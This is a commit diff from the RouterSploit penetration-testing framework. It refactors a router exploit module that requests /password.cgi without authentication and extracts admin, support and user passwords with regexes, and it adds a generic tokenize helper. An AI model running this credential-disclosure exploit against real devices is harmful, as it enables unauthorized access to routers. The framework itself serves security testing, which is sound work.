Commit 83eb1a61 by fwkz

Merge branch 'dev'

parents e13bfd38 206a70c0
...@@ -13,6 +13,7 @@ from routersploit.utils import ( ...@@ -13,6 +13,7 @@ from routersploit.utils import (
multi, multi,
index_modules, index_modules,
ssh_interactive, ssh_interactive,
tokenize,
) )
from routersploit import exploits from routersploit import exploits
......
import re
from routersploit import ( from routersploit import (
exploits, exploits,
print_status,
print_error, print_error,
print_success, print_success,
print_table, print_table,
http_request, http_request,
mute, mute,
validators, validators,
tokenize,
) )
...@@ -39,21 +37,19 @@ class Exploit(exploits.Exploit): ...@@ -39,21 +37,19 @@ class Exploit(exploits.Exploit):
creds = [] creds = []
url = "{}:{}/password.cgi".format(self.target, self.port) url = "{}:{}/password.cgi".format(self.target, self.port)
response = http_request(method="GET", url=url) try:
if response is None: response = http_request(method="GET", url=url).text
except AttributeError:
return return
admin = re.findall("pwdAdmin = '(.+?)'", response.text) tokens = [
if admin: ("Admin", r"pwdAdmin = '(.+?)'"),
creds.append(('admin', admin[0])) ("Support", r"pwdSupport = '(.+?)'"),
("User", r"pwdUser = '(.+?)'")
support = re.findall("pwdSupport = '(.+?)'", response.text) ]
if support:
creds.append(('support', support[0]))
user = re.findall("pwdUser = '(.+?)'", response.text) for token in tokenize(tokens, response):
if user: creds.append((token.typ, token.value[-1]))
creds.append(('user', user[0]))
if creds: if creds:
print_success("Credentials found!") print_success("Credentials found!")
......
...@@ -4,9 +4,10 @@ from __future__ import absolute_import ...@@ -4,9 +4,10 @@ from __future__ import absolute_import
import threading import threading
import os import os
import sys import sys
import re
import collections
import random import random
import string import string
import socket
import importlib import importlib
import select import select
import socket import socket
...@@ -507,3 +508,28 @@ def windows_shell(chan): ...@@ -507,3 +508,28 @@ def windows_shell(chan):
chan.send(d) chan.send(d)
except: except:
pass pass
def tokenize(token_specification, text):
Token = collections.namedtuple('Token', ['typ', 'value', 'line', 'column', 'mo'])
token_specification.extend((
('NEWLINE', r'\n'), # Line endings
('SKIP', r'.'), # Any other character
))
tok_regex = '|'.join('(?P<%s>%s)' % pair for pair in token_specification)
line_num = 1
line_start = 0
for mo in re.finditer(tok_regex, text):
kind = mo.lastgroup
value = filter(lambda x: x is not None, mo.groups())
if kind == 'NEWLINE':
line_start = mo.end()
line_num += 1
elif kind == 'SKIP':
pass
else:
column = mo.start() - line_start
yield Token(kind, value, line_num, column, mo)
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment